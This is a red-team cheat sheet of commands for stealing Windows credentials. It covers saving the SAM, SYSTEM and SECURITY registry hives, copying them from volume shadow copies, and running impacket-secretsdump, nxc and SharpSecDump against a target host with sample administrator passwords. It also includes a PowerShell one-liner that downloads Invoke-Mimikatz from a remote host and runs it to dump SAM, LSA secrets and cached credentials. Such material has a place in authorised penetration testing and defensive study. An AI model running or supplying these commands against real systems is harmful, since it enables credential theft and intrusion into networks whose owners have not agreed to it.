Resources

Cheat sheet

Commands

  • Windows
    • LOL
      • Reg.exe
        reg save hklm\system system.hive
        reg save hklm\sam sam.hive
        reg save hklm\security security.hive
         
        impacket-secretsdump -system system.hive -security security.hive -sam sam.hive -history local
      • Vssadmin
        # Work on cmd 
        wmic shadowcopy call create volume='C:\'
        vssadmin list shadows
         
        copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam sam.hive
        copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\security security.hive
        copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system system.hive
    • Tools
      • Mimikatz
        IEX (New-Object Net.WebClient).DownloadString('http://192.168.99.23/PowerShell/Invoke-Mimikatz.ps1')
         
        Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "log out.txt" "lsadump::sam" "lsadump::secrets" "lsadump::cache" "exit"'
    • SharpSecDump
      .\SharpSecDump.exe -d=redteamrecipes.com -u=administrator -p=Password123#a -target='192.168.99.25'
       
      Invoke-SharpSecDump -Command "-d=redteamrecipes.com -u=administrator -p=Password123#a -target=192.168.99.25"
       
      # Connects to RPC vis SMB share ADMIN$ , IPC$ then decrypt them then dump them 
  • Linux
    • nxc
      nxc smb 192.168.99.10 -u fmoheb -p Password123#f [--lsa] [--sam] 
    • Impacket
      impacket-secretsdump redteamrecipes.com/administrator:Password123#a@192.168.99.25 -pwd-last-set -user-status -history
  • Tricks
    • Check services
      impacket-services 'redteamrecipes.com/administrator:Password123#a@192.168.99.25' status -name RemoteRegistry
       
      Get-Service RemoteRegistry
      Start-Service RemoteRegistry
      Stop-Service RemoteRegistry -Force

Tools

Notes